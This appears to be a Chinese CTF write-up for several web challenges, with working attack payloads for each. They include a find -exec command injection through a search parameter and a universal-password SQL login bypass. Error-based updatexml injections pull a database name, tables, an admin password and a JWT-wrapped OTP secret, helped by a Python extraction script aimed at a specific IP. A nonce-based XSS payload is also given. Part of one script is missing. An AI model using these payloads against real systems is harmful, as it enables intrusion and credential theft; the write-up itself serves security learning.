-
- search
-
- 考点
- wp
- google authenticator
-
- 考点
- wp
- secret
-
- 考点
- wp
- BABY_CSP
-
- 考点
- wp
- 若依
就是一个对find的命令了解,参数exec可以实现命令
wppayload
/search.php?search=flag -exec cat {} \;google authenticator 考点
- sql注入,拿到secret的密钥
- google身份验证码的实现
- 蚁剑连接,无权限,进行信息收集
- 蚁剑反弹shell到vps
- 非交互式shell变为交互式shell的两种方式
- 写定时任务redis提权
看到登录界面,扫一波,没有东西
尝试进行sql注入
先来个万能密码登录,username=1' or 1=1#&password=123456
有个/google_authenticator.php
我们访问,需要google验证码,似乎没有利用点了
所以我们继续sql注入,看到报错信息,利用报错注入
获取数据库
username=1' and (updatexml(1,concat(0x7e,(select database()),0x7e),1))#&password=123456 actf_is_fun
获取表
username=1' and (updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='actf_is_fun'),0x7e),1))#&password=123456 users
获取列名
username=1' and (updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='actf_is_fun' and table_name='users'),0x7e),1))#&password=123456、 id,username,password,otp_secret
先查username和password,登录进去就是我们万能密码一样的
username=1' and (updatexml(1,concat(0x7e,(select group_concat(password) from actf_is_fun.users),0x7e),1))#&password=123456 admin和hgMMDHmE6qn#U9
查另一个,因为一次只能查部分字段,所以加个substr得到字段名为otp_secret_key
username=1' and (updatexml(1,concat(0x7e,(select group_concat(otp_secret_key) from actf_is_fun.users),0x7e),1))#&password=123456 eyJhbGciOiJIUzI1NiIsInR5cCI6Ikp
给出脚本
import requests url="http://1.14.71.254:28809/index.php" for i in range(1,180): user = "1'and(select updatexml(1,concat(0x7e,(select substr(group_concat(otp_secret_key),{},1)from users)),0x7e))#".format(i) data = { 'password':123, 'username':user } res = requests.post(url=url,data=data).text index = res.index("~") print(res[index+1:index+2],end="")
得到
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzZWNyZXQiOiJJRkJWSVJTN01KU1hJNURGT0pQV0MzVEVMNVJHSzVEVU1WWkNDSUpCIiwiaWF0IjoxNTE2MjM5MDIyfQ.AQSSxyPihDP8dhVEMpaWrSv2scrEEc2HOmqfAwXqWLY
base64解密后
{"alg":"HS256","typ":"JWT"}{"secret":"IFBVIRS7MJSXI5DFOJPWC3TEL5RGK5DUMVZCCIJB","iat":1516239022} I,r>(C?�aTC)ijҿk�A�s���0^��
拿到secret后,因为是要google身份验证码
google身份验证码的原理
在github上开源的** GoogleAuthenticator**
读取GoogleAuthenticator.php,写个test.php,获取对应secret的身份验证码
"usr" : encrypt("admin")} res = requests.get(url, cookies=cookies) print(res.text) if __name__ == "__main__": main()
得到flag
BABY_CSP 考点属于前端安全方面的,考CSP
参考:
http://www.ruanyifeng.com/blog/2016/09/csp.html https://blog.csdn.net/weixin_42478365/article/details/116597764wp
响应包看到CSP中有nonce的值,有nonce的值就可以执行一些代码
payload
?school=alert(flag)若依
还没学java,后面再复现吧
考点:java的shiro